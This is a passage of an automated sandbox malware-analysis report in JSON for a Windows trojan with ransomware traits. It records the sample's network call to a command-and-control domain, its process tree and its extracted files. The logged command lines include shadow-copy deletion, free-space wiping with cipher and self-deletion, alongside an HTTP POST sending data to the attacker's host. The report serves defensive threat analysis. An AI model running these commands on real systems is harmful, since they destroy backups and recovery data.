host"}],"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}]},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":87,"dropped_files_count":0,"extracted_files_count":155,"files_written_count":54,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["msil"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5908cc85aac2ed7159f73748","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["NLD"],"submit_name":"2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd","analysis_start_time":"2017-05-02T19:15:01+00:00","indicators_count":{"informative":15,"suspicious":18,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.109.163.70","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"dns_resolutions":[{"domain":"iwantmyfiles.asia","address":"185.109.163.70","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"http_requests":[{"host":"iwantmyfiles.asia","host_ip":"185.109.163.70:80","url":"/r.php","method":"POST","response_code":"100","response_phrase":"Continue","header":"POST /r.php HTTP/1.1\nCookie: onion2web_confirmed=true\nContent-Type: application/x-www-form-urlencoded\nHost: iwantmyfiles.asia\nContent-Length: 3595\nExpect: 100-continue\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}],"processes":[{"pid":2236,"ppid":0,"name":"2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe","command_line":"","sha256":"2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd","normalized_path":"C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe","uid":"00014170-00002236","icon":"$2c"},{"pid":2700,"ppid":2236,"name":"update.exe","command_line":"","sha256":"2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd","normalized_path":"%APPDATA%\\update.exe","parent_uid":"00014170-00002236","uid":"00014346-00002700","icon":"$2d"},{"pid":3600,"ppid":2700,"name":"cmd.exe","command_line":"vssadmin.exe delete shadows / ALL / Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014346-00002700","uid":"00015830-00003600","icon":"$2e"},{"pid":3076,"ppid":2700,"name":"cmd.exe","command_line":"cipher /w:C:\\","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014346-00002700","uid":"00019113-00003076","icon":"$2f"},{"pid":2784,"ppid":2700,"name":"cmd.exe","command_line":"cipher /w:D:\\","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014346-00002700","uid":"00019117-00002784","icon":"$30"},{"pid":2868,"ppid":2700,"name":"cmd.exe","command_line":"cipher /w:Z:\\","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014346-00002700","uid":"00019119-00002868","icon":"$31"},{"pid":2676,"ppid":2236,"name":"cmd.exe","command_line":"/C choice /C Y /N /D Y /T 3 & Del C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014170-00002236","uid":"00014387-00002676","icon":"$32"},{"pid":2796,"ppid":2676,"name":"choice.exe","command_line":"choice /C Y /N /D Y /T 3","sha256":"4108605207ef00fcbbfe7ed7c3f96300601fb79f913d0e290538e8e02082cacc","normalized_path":"%WINDIR%\\System32\\choice.exe","parent_uid":"00014387-00002676","uid":"00014407-00002796","icon":"$33"}],"all_imported_dlls":["shell32.dll","nlssorting.dll","user32.dll","clr.dll","setupapi.dll","FWPUCLNT.DLL","version.dll","cryptsp.dll","System.ni.dll","rpcrt4.dll","gdi32.dll","mscorlib.dll","oleacc.dll","oleaccrc.dll","usp10.dll","wbemcomn.dll","winhttp.dll","winbrand.dll","advapi32.dll","ntmarta.dll","apphelp.dll","rpcss.dll","bcrypt.dll","dnsapi.dll","sechost.dll","shlwapi.dll","cryptbase.dll","uxtheme.dll","rsaenh.dll","WSHTCPIP.DLL","webio.dll","msvcr120_clr0400.dll","propsys.dll","mswsock.dll","lpk.dll","oleaut32.dll","System.Drawing.ni.dll","clbcatq.dll","Wldap32.dll","RpcRtRemote.dll","wbemprox.dll","wbemsvc.dll","mscoree.dll","System.Windows.Forms.ni.dll","fastprox.dll","ntdsapi.dll","IPHLPAPI.DLL","dhcpcsvc6.dll","ntdll.dll","psapi.dll","WMINet_Utils.dll","System.Xml.ni.dll","comctl32.dll","ieframe.dll","ws2_32.dll","nsi.dll","rasapi32.dll","rasadhlp.dll","mscoreei.dll","imm32.dll","rtutils.dll","wship6.dll","KernelBase.dll","crypt32.dll","System.Configuration.ni.dll","credssp.dll","tzres.dll","System.Core.ni.dll","msctf.dll","mscorlib.ni.dll","ole32.dll","sspicli.dll","wmiutils.dll","msvcrt.dll","clrjit.dll","profapi.dll","urlmon.dll","wininet.dll","iertutil.dll","msasn1.dll","devobj.dll","kernel32.dll","cfgmgr32.dll","System.Management.ni.dll","rasman.dll","winnsi.dll","dhcpcsvc.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Locker_ID.txt","sha256":"3199c675d090b259c0504d90dc54e8e12cb90e23df69ffc5db372ce4b6ffcfd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"file_list.txt","sha256":"877687bceef1a2b51d75262329c819cacb4eba3bcfdb212cacc915ec9d7bf312","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ibindresource.vcproj","sha256":"fd9282f0320deb9916637c445a7aaa788ef17927af233f6bbe88c3ea790ed239","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Dll.cpp","sha256":"71ed61ef1d0bcc01a52ee132256fff6ea054c71a18f5ec21e51375d0acbe6746","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Readme.txt","sha256":"2edd906933f8b56c7a828d24ede2c396c4eab1cbc088afdedd3c614bb83f005d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"readme.txt","sha256":"f8087d80eb537b4541ec82e419566f665b789e1b468ea29cf6ab52250af15304","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"plgtermpin.cpp","sha256":"b87b711577666f615592a759f777a1ca16e5f1d30c8e707b4f1e7514bcc1cebd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"attributes.cpp","sha256":"f2d8fc3f396b81e92bbdb0fca3e2dc8cf869f572c048063a2cb2e802bdf83fb6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"HokZm0_2HRA[1].htm","sha256":"763cecdae5e37c2fb090e61a691b183bc90683ebf83e5fd7c5c7061fd76e6c4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ResourceFontContext.cpp","sha256":"0e3bd6a3dce20be8fb8c6894eb1656e6a83ad3323890aaa95111872ea0c07df7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dev.htm","sha256":"6aff154be6c4a8bea1f366f0a358155d72a96eb8e5f4cbf553818d37f5c0dcc3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"iframe[3].htm","sha256":"157a7a71fc7517833f45cd7997a7e166088f300931c61fe92cc1ca043179cdbb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dictionary.sonicwall","sha256":"2ec8c9dfb7947571391a2d49768d7139a067664cd1988298b3e9e52a8b557f27","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ipstat.vcproj","sha256":"0b7b3b2b94f7a411095c299602fde7259bde889510bca07102ae1d6061fcde80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"M2_28_113715_03[1].png","sha256":"27aba69f1a18b92697cce39d37cca87d8c6e45e9510f371dc85c1b19d39d30ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"propldr.cpp","sha256":"d47a86e16a836a09aabc742e73be25e39dd7e3fafc2f9be19a7f6afeda1af69d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ctransaction.cpp","sha256":"ba6c1f3140a94b1f6a5798e9d34ad01c5cc35bff52627de56e6f17fce264b53c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ManagedMetadataEdit.csproj","sha256":"2fe3fbac5e95e6c12bbecf5cb12bfd9978ed89b9d01c07953cdd8fdb40c52429","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Resources.resx","sha256":"bd7955e7e64812faa4a65081ff63ead83a3809ae35c4a1907f85c6d5c2f5ccbf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"pdbstr.exe","sha256":"eae56a6cb3f138b4fd1be75e5b37eb832814a3f5f0b9eeab49b1781c1c302cfa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ApothecaryMergeLetter.dotx","sha256":"6ae2f50aa165e3cf0a82a9a6c230fe413052d55de9dc77000fa0e406eac663cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jabswitch.exe","sha256":"c204b1b40810ccce7b31e56d8d5efcc56e7129f4ed22b164f5998cd98b98eccc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Eula.exe","sha256":"155f9f7e5d4f1fcbf6e0b4387e584ad7673805714202fee8857d9505d511b458","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"SmartTagInstall.exe","sha256":"5174e443f2a1b0b21544f5db50d3ed879d7d01d210990a14ef17bc33c67cef1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"al.exe","sha256":"c52acc244a1c305b1246668996ec73ed10845ae5f70a358085da4097c7e6551c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"NormalOld.dotm","sha256":"a560c430d94ecb5646a1ac48af8245c92e984e424f9a99412088a6b2cdf36b58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AdjacencyLetter.dotx","sha256":"f1754137e4d6e81d3dac91ab80b8d22aa1bf7282a2fba1be21f7e55738f7e9e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"kill.exe","sha256":"c252255e9a45f26ce1375aeafcb87036493910c645ed41de01addcf294850367","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ExecutiveNewsletter.dotx","sha256":"3cd5475bd17c1a5089f3c749facd0b106e9109d21b73d55380c332c959e0da88","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AcroExt.exe","sha256":"1978930decc2bdd81c169694a446be53b85b4a9e8e7149c5dea7078729ef518c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dumpbin.exe","sha256":"8bcce486df297500f22d285f253f50958839f304fd430665c6bc2c78fa6d5899","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ExecutiveLetter.dotx","sha256":"0416c6210f99d56b37e9422f904b6f74ae4c9cb92ce05c384820669b03b4ce9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"rtlist.exe","sha256":"774987b0546c527b9f6668a1178c8642c75f16e3118b7bdeab0ad82a2bc8fb1f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Consume.exe","sha256":"f0460d963173fa78d5019908de5109029c74ae563436af86fbcb5d6a3c25f079","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AdjacencyMergeLetter.dotx","sha256":"70cefc6d729397bcd47405a65afb3d8f15952e0cbe7b32f1f71cf13576bb6e0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"i386kd.exe","sha256":"cfb55865ea54738ae4dad311067944f451bbbeb9c68cf7a8d8e273c6d922f1e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jsse.jar","sha256":"eccac34fb56f01ea73736f9f69f3bac5b7107f774c0b5a66fb47fca347704b58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"modify.pl","sha256":"0819daaeddab2f3bd85fbf9b75ff7d44a0a92f59ba096e92dfd4eaeaf0546086","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ExecutiveResume.dotx","sha256":"8ccf2a26f2c3747a6dd502696c72afe06def76191f7f65ce1c0bdd21f86eaf5e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Fancy.dotx","sha256":"cf11fd04535a754d4625d9215c4f3a5772e95103da8dbba87b9247bc2cfca23d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"BloodPressureTracker.xltx","sha256":"73e92022842d572bffd501111c09191855f526f611cf9232b0ba80d2d55fb966","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleCrashHandler64.exe","sha256":"e0abae0823cb1491d34b0309280632c9c40a9ed26f3c1ac2d5be6487a56a55aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"omniprov.doc","sha256":"85c042ce7b2acbe672f8366e1ac880f1db2d92230e05770a8c43cd3330686499","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"lib.exe","sha256":"429608a6256b689f027ef8336e690fc285b81254f86a69930fa8b933f53ced16","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ssvagent.exe","sha256":"9247c978fc8aacfc86d5f12db9de10948e5b2dcd96368746bbac7c6abbe5d63b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ftquery.exe","sha256":"3e19fa0d2889c4b4489a98f5884affba1b97a663dc3de61af017e89a54b4701f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ContemporaryPhotoAlbum.potx","sha256":"08fefbd6f986436fab5b362d72b892eaa591e2650f115662d51406021e4dc8f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"cvtres.exe","sha256":"6dfeb64f3be39d6c6b0a9341c44a78ca9f5eb5fd9b8b1989b800ebc7b9b8b55f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"binding.pl","sha256":"d98c1d7ec956d76c25ca6a5a1194376e902e6e263104d21b00801882c1a662d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"setup.exe","sha256":"b208e8d84501c70b90a79acf2531302605e24668bf1cc911c2e5f3c81c19209d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Au3Check.exe","sha256":"a0fe18373108383db16e4fd76f2aa2becbda77948ce8fd8ab08c4e74574f7588","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"maintenanceservice.exe","sha256":"d1155470f876bae2b218822a7746358382705c725342dde799a477b96e63fd6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AcroTextExtractor.exe","sha256":"9020a5a4ae194783a50ad49d8868f114c63e8f8bc9d0ffe12accdc468a5aa527","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jfxswt.jar","sha256":"61f727c7a8e1609e88b5012a858251b49e3e37a3d9759f4d586ffa74faa475e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"agestore.exe","sha256":"caece89f46dfc57af70f26058919f9b436f3ea923d88e0f6843ade32d97c593d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dnsns.jar","sha256":"b848d7025ab73ce44f467f34df82767b3f2bb82fc860ba825022b6cf73869738","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"firefox.exe","sha256":"3b8f4747e098a856bdc26b7882b53b5cb34680afa55011d727a593b319c2365e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ApothecaryNewsletter.dotx","sha256":"ec1cab6fa05b9d53df838339ead7be5cdea955a1c93c0887d5d3eead93fbb4f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"sddlgen.exe","sha256":"6e414507ec4dfe1e7059fd198e69f44bbb570df0f9883edc80dd0bfc7c1af418","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ExpenseReport.xltx","sha256":"3afbf4a8f03ff7f57683ea03315598b1efc22ece94755222dc73a7fca4d96d85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ExecutiveMergeLetter.dotx","sha256":"1fd0c3561e6fac1b5420939a75c36d5953f3e9792c48949ea1a14d0d140f711d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AdobeCollabSync.exe","sha256":"4f113a98a65b1d6f6843ee3877c262396823cbd553835c6ece47976bfa002236","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"gflags.exe","sha256":"acc87061a25603f49ee5e48a3e7778bb77769eff62721ce295c51bb134520c4a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"clrver.exe","sha256":"ce839b9e4d72ee5e2b157fa61f3b52b566cfa3b43600a17d3e9af1cca374ac58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"chkrzm.exe","sha256":"15bbd91ddf72a94216c7f2ba74c38c389e1bb8c533a4fe38425b93f759e71e55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"logviewer.exe","sha256":"d5a5293dcab22eaa2f17546eb7abaa69517bef2d2a1f8dd17d0541500f6de139","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleUpdateWebPlugin.exe","sha256":"3ac7a182b0b0a91153e47053825279e9d85c22e012cb6808f2ee320c388f12a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"EssentialResume.dotx","sha256":"3249c419ae3008440258bd2852013f4662a636c8ce2d00d49ae2416f06fe88f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"mage.exe","sha256":"2c7bb391a612c88b11b452f509443a36003a9e2cebd0f3097249df14299eb63a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"rawshark.exe","sha256":"d6e7dbb6f5b7e49d08246a6f73848c637c63525b10bc1356f76bc1231efc0e8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"checkv4.exe","sha256":"2e40d819b3c8eaa1b6d74f9d93f2d7ac65d9614713f3026ee58f2a7696121498","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ml.exe","sha256":"3c6dc4d8fca88962aab7af37d25c3198a291eef2c1bb00e497f8adbf38b41674","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"pack200.exe","sha256":"01dbffe8083beda96447dd7b5de41009f337de11ccefa85bfeac21f0afa107c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"pgocvt.exe","sha256":"239a1d915aeb3307f0eba330e3dc25003c34e49ad788f46f52836621799ac662","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"kdbgctrl.exe","sha256":"7b6c4750dcdbf00e66f441f0c38206a96cf81535e0dc69d684428bfd5100cdee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"betest.exe","sha256":"f1af7e607ad352bde0659b1cad947c23dfbb12941043b51dfaa634e32d7d82ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"FreeCell.exe","sha256":"9da94e8bd35e986ada79918c1e6c7e87f1b1bd93a51e464eef64d82f55558d64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ApothecaryLetter.dotx","sha256":"ee95be71633e247e82f73ed45becbdd4adcb0c2f78b4a18679a6d1e8fe75a198","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"link.exe","sha256":"28b90f475a59b3ee6e48e7e9fd3c68d5660e343f14b6032036871142025b7cc1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"filtdump.exe","sha256":"d1048d6361ce9af217c12bb8d878582d2fb27b17e6663b69b515aa04407bd16f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ntsd.exe","sha256":"1d3c672fb4fd622f022dd9eb5499f3defc3c057bdb075eec82d97aa246478b4d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dbgrpc.exe","sha256":"4ec7fda6b3208638f028eb935a73ac307b95f6401457a27f06b0c0b3e0199864","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"javaws.exe","sha256":"b706cc5efdd5aa745fbb0f18fddbc60555a508dcedd6cb811ebb451896e51a9a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AdjacencyResume.dotx","sha256":"c734ab782b66bbdfb6ae20e5f334cadd8da1f91203fa4b902349f75099aa47a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"kdsrv.exe","sha256":"c73a531cd87f360b57a2c50c470d79464d0554cf9bbc9d19d738466c9fdfe493","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"RTC.der","sha256":"781df962bb0c08ef31a24281da552ed91f6ff63b462b052dd51ffa6ebc77bfd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"install.exe","sha256":"17b58cbe66913a0743e55e95b4d08cf84cfc6bdd4f0b68fba2747b490fee958b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"EssentialMergeLetter.dotx","sha256":"ef4cd9dd1f14ed7f16f29efcc987636453492ab1c95619cb4b6a9e2d8d30ff6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"LogTransport2.exe","sha256":"5ecf8abbbf66c673066e3d8f02728e513dee9c494065554b89649834cedab489","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"charsets.jar","sha256":"4197408792e53c37cba011b72004d8c5dc04f0a772338629e151a7beb0ce7907","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"javaw.exe","sha256":"5e33b57883de1dd0ce234a7be4b62c9900be1150c5f63d8afddbc7d00f80e322","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ptconform.exe","sha256":"3c8b79c94fe99f49cba6151d7b5bf2092826fd4740e05437289308e5a286318a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"genmanifest.exe","sha256":"b44511842ce68492036a56f0f99448292215bac68cdf9cfb175cf07d17a14230","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"pktextract.exe","sha256":"c1e61ca9cea1ec6edd14b8dac3c57d121aa826a077af08861b5a96057786531e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Cert2Spc.exe","sha256":"6761dc97e3ae340dff5fed1e32e6c3e917eae0d65fa52719d955e9c24588d1d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"logger.exe","sha256":"775e4cac09eb7314cbc6ae43088575cf84c42c323a2bd371ff81771c86037de2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"remote.exe","sha256":"45680c336bf38692f0ce63a7f7795ab9fcdddf129d80b87f86b36f4a1dfc05c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"PurblePlace.exe","sha256":"436eb46c76dc8c40ab3793bd8101aaf7c1497c1f455ac3093843235377ae531c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"sample.docx","sha256":"69552b573a1ab5448453571dddff74d1ce72842e04cd839416b9869a042e6b66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"kinit.exe","sha256":"f01e5f11d6deb9e4bf81794e210d0bed9baabcf6ca447ce1e58b4b1d35a7b652","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ecmangen.exe","sha256":"7cab6bfdb0b903d42afbda7efe2a16e12a7af2c437f8400ffe27fc222836ab45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"apatch.exe","sha256":"789a3c824323285e4c1db002281c8bd5cbd07d482c9bfe96035fcaa252747ddb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"nmake.exe","sha256":"c5f9a47d12389c56bae44c532f7963f662b0c1f2db2845d017779e19af72253c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"javacpl.cpl","sha256":"14fabeaf816c7f7ab219be09ca356bb2064c652454cb51ec98528c4d13cd0300","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"dumpexam.exe","sha256":"ed3fad4bf6803b9969a5182d16fc64b690ce59b39a6acec672334d7576db5a64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"chrome.exe","sha256":"4cb8bd1b5ac48cb216ed67e66564e6330019a95e35610c966c7e3ceb84fcb37a","verdict":"un